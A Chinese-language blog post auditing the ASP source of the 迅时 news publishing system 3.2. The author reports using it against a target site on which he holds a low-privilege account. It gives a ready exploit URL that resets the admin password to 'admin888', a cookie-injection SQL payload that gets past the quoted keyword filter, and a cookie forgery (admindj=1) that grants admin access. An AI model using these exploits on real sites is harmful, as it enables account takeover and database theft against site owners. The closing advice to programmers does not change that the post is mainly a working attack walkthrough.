过滤不等于安全

作者:疯狗

好久没读代码了,而且是N久没碰的asp.迅时新闻发布系统,在网上就能找到个注入漏洞的文章,还是cookies注入,试了下,我的目标已经不存在这个漏洞,下了一套最新的3.2版本.忽然发现eWebEditor,可惜目标站的被管理员废掉了,利用不了了.
因为我已经有了一个可以发表文章的账户(id密码相同),但是权限非常低,可以玩玩XSS,能cookies欺骗,但是我不喜欢等待,还有搭积木一样的注入,所以直接找提权漏洞咯.在admin_admin_editpass.asp中有点问题,倒着看(我的习惯),85行:

<form method="POST" action="admin_admin_editpass_save.asp?id=<%=id%>" name="FrontPage_Form1"> //根据这个id修改密码
...很CGX的省略号...
<p align="left"><font face="Wingdings">1</font><b>修改<%=username%>密码

...依然CGX...
<input type="text" name="username" size="42" value="<%=username%>" maxlength="20"></td>

id,username的作用与实现基本了解了,证实一下,22行:

id=trim(request("id")) //这段是根据id(木过滤)得到修改的username云云
if id<>"" then
sql = "select * from admin where id="&id
Set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open sql,conn,1,1
if rs.recordcount<>0 then
username=rs("user")
end if

在来看下保存密码的文件,admin_admin_editpass_save.asp,25行:

id=trim(request("id")) //id也没过滤
username=trim(request("username"))
password=md5(trim(request("password")))

if id<>"" then //漏洞出现咯
sql = "select * from admin where id="&id
Set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open sql,conn,1,2
if rs.recordcount<>0 then
rs("user")=username //MD,这也能改
rs("pass")=password
rs.update //cool,直接update了
end if

敏感的人一下就会看出,id没过滤,没错,是没过滤,但是我要告诉你,这个漏洞另有乾坤,就算他过滤了,也照黑无误!

首先程序通过这个id得到对应的username,而id是和你登录信息有关的,这些不重要,重要的是他是依靠id直接update密码的,只要指定了id,有个账户就可以更改任意用户的密码.Exploit:http://www.xxx.com/admin_admin_editpass_save.asp?id=1&username=admin&password=admin888 ,admin密码就改成admin888了,拿shell很简单,还是数据库.

关于这个id的注入,也很简单,不过也需要一个账户可以访问这个文件,发现迅时有放注入的过滤处理,引用了一个文件<!–#include file = admin_conn.asp –>,逐步跟踪这个文件,发现详细的过滤是这样的:

sss=LCase(request.servervariables("QUERY_STRING"))
if instr(sss,"select")<>0 or instr(sss,"inster")<>0 or instr(sss,"delete")<>0 or instr(sss,"(")<>0 or instr(sss,"'or")<>0 then
response.write "<BR><BR><center>你的网址不合法"
response.end
end if

很简单的过滤,拿下了几个SQL关键字和括号,却给普通注入造成了极大的麻烦,不过既然是request.servervariables("QUERY_STRING"),那cookies注入还是有杀伤力的,本地写个中转站,然后exploit:http://127.0.0.1/cookie.php?id=1%20and%20(select%20asc(mid(user,1,1))%20from%20[admin]%20where%20id=1)=97,依次猜解,不过和上面的提权漏洞相比没什么价值,除非你不想让管理员发现.

本已经达到目的,但是在看几处代码让我大跌眼睛(因为我没眼镜),后台文件对身份验证居然是这样的,太2了吧,如果添加管理员也是这样的话…没看的必要了.

if Request.Cookies("admindj")<>"1" then //玩鹰呢
Response.Write "<BR><BR><BR><BR><center>权限不足,你没有此功能的管理权限"
Response.end
end if

修改cookies中的admindj的参数为1,那么就…Admin,welcome to back:)

前台也好不到哪去,好烂的代码,随随便便即可从无到有.因为好久没读代码了,所以YY一下,希望程序员能了解,过滤不等于安全,逻辑也很重要.

相关日志

发表评论